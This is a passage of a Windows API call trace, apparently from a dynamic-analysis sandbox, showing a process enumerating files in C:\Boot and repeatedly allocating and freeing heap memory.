hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.509] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.509] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.509] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.509] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.509] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.509] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c90 | out: hHeap=0x5010000) returned 1 [0111.509] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c90 [0111.509] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.509] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.510] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.510] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.510] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.510] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.510] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.510] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.510] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.510] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.510] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.510] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.510] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.510] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.510] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.510] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.510] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.510] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.510] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.510] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.510] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.510] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.510] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.510] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.510] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.510] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.510] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.510] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.510] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.510] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.510] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.510] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.510] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.510] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.511] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.511] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.511] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.511] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.511] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.511] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.511] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.511] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.511] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.511] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.511] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.511] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.511] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.511] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.511] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.511] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.511] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.511] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.511] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.511] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.511] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.511] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.511] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.511] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.511] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.511] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.511] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.511] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.511] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.511] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.511] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.511] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.512] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.512] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.512] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.512] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.512] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.512] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.512] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.512] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.512] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.512] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.512] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.512] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.512] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.512] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.512] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.512] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.512] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.512] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.512] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.512] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.512] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.512] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.512] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.512] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.512] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.512] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.512] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.512] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.512] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.512] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.513] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.513] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.513] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.513] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.513] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.513] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.513] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.513] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.513] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.513] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.513] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.513] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.513] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.513] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.513] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.513] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.513] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.513] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.513] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.513] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.513] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.513] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.513] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.513] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.513] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.513] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.513] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.513] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.513] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.513] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.513] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.513] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.514] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.514] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.514] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.514] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.514] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.514] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.514] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.514] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.514] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.514] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.514] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.514] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.514] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.514] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.514] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.514] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.514] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.514] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.514] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.514] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.514] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.514] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.514] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.514] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.514] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.514] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.514] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.514] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.514] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.514] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.514] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.514] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.515] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.515] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.515] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.515] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.515] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.515] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.515] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.515] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.515] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.515] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.515] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.515] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.515] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.515] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.515] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.515] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.515] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.515] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.515] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.515] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.515] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.515] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.515] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.515] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.515] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.515] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.515] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.515] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.515] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.515] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.515] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.515] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.515] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.516] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.516] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.516] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.516] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.516] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.516] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.516] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.516] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.516] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.516] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.516] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.516] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.516] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.516] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.516] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.516] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.516] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.516] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.516] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.516] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.516] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.516] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.516] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.516] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.516] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.516] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.516] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.516] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.516] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.516] PathFindFileNameW (pszPath="C:\\Boot\\ja-JP\\") returned="ja-JP\\" [0111.516] PathFindFileNameW 